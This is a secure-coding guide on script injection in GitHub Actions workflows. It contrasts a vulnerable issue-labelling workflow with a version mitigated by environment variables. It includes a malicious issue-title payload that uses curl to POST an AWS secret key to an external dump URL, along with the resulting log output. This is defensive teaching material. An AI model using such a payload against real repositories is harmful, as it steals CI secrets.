Protect your CI/CD pipelines by ensuring untrusted input cannot execute malicious commands or leak secrets. Inline scripts that interpolate user-controlled data directly in shell code are especially vulnerable.
Problem: Inline Script Injection
A workflow that reads an issue title into a shell variable without sanitization allows an attacker to inject arbitrary commands:
name : Label Issues (Script Injection)
on :
issues :
types : [ opened ]
jobs :
assign-label :
runs-on : ubuntu-latest
steps :
- uses : actions/[email protected]
- name : Add a Label
env :
AWS_SECRET_ACCESS_KEY : ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run : |
issue_title="{{ github.event.issue.title }}"
if [[ "$issue_title" == *"bug"* ]]; then
echo "Issue is about a bug!"
echo "Assigning Label - BUG..."
else
echo "Not a bug"
fi
A malicious issue title such as:
bug "; curl --request POST --data anything= $AWS_SECRET_ACCESS_KEY \
https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2
would run the curl command and expose your secret.
Exploit Demonstration
Open a new issue with the payload above.
Check workflow logs:
Run if [[ " $issue_title " == * "bug" * ]] ; then ...
shell: /usr/bin/bash -e { 0 }
env:
AWS_SECRET_ACCESS_KEY: ***
issue_title: bug"; curl --request POST --data anything= $AWS_SECRET_ACCESS_KEY \
https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2
The injected curl runs before your conditional, leaking secrets.
Solution: Use Environment Variables for Expressions
Store GitHub expressions in environment variables. Because Actions resolves ${{ }} outside the shell, any injected payload remains inert.
name : Label Issues (Script Injection Mitigated)
on :
issues :
types : [ opened ]
jobs :
assign-label :
runs-on : ubuntu-latest
steps :
- uses : actions/[email protected]
- name : Add a Label
env :
AWS_SECRET_ACCESS_KEY : ${{ secrets.AWS_SECRET_ACCESS_KEY }}
issue_title : '${{ github.event.issue.title }}'
run : |
if [[ "$issue_title" == *"bug"* ]]; then
echo "Issue is about a bug!"
echo "Assigning Label - BUG"
else
echo "Not a bug"
fi
Quoting the expression ('${{ ... }}') ensures the shell sees it as a literal. Any embedded quotes or commands will not be evaluated.
Approach Risk Mitigation Inline interpolation in run script Arbitrary code execution, secret leaks Use env variables with quoted ${{ }} expressions Storing untrusted data in files or scripts Payload injection at parse time Avoid inline scripts; prefer action inputs or env vars
Demonstration of Safe Execution
# Workflow environment shows the raw payload but does not execute it:
env:
AWS_SECRET_ACCESS_KEY: ***
issue_title: bug"; curl --request POST --data anything= $AWS_SECRET_ACCESS_KEY \
https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2
# Execution output:
Issue is about a bug!
Assigning Label - BUG
Even though the payload appears in issue_title, the curl never executes. Your secret remains safe.
Further Security Hardening
Go beyond input sanitization to fully secure your workflows:
Least Privilege : Grant minimal permissions to tokens and service accounts.
Action Pinning : Pin actions to specific versions or commit SHAs.
Third-Party Review : Audit community actions before use.
Avoid Inline Scripts : Use dedicated action steps or scripts in your repo.
Never expose secrets in logs or pass untrusted input to shell commands without sanitization.
References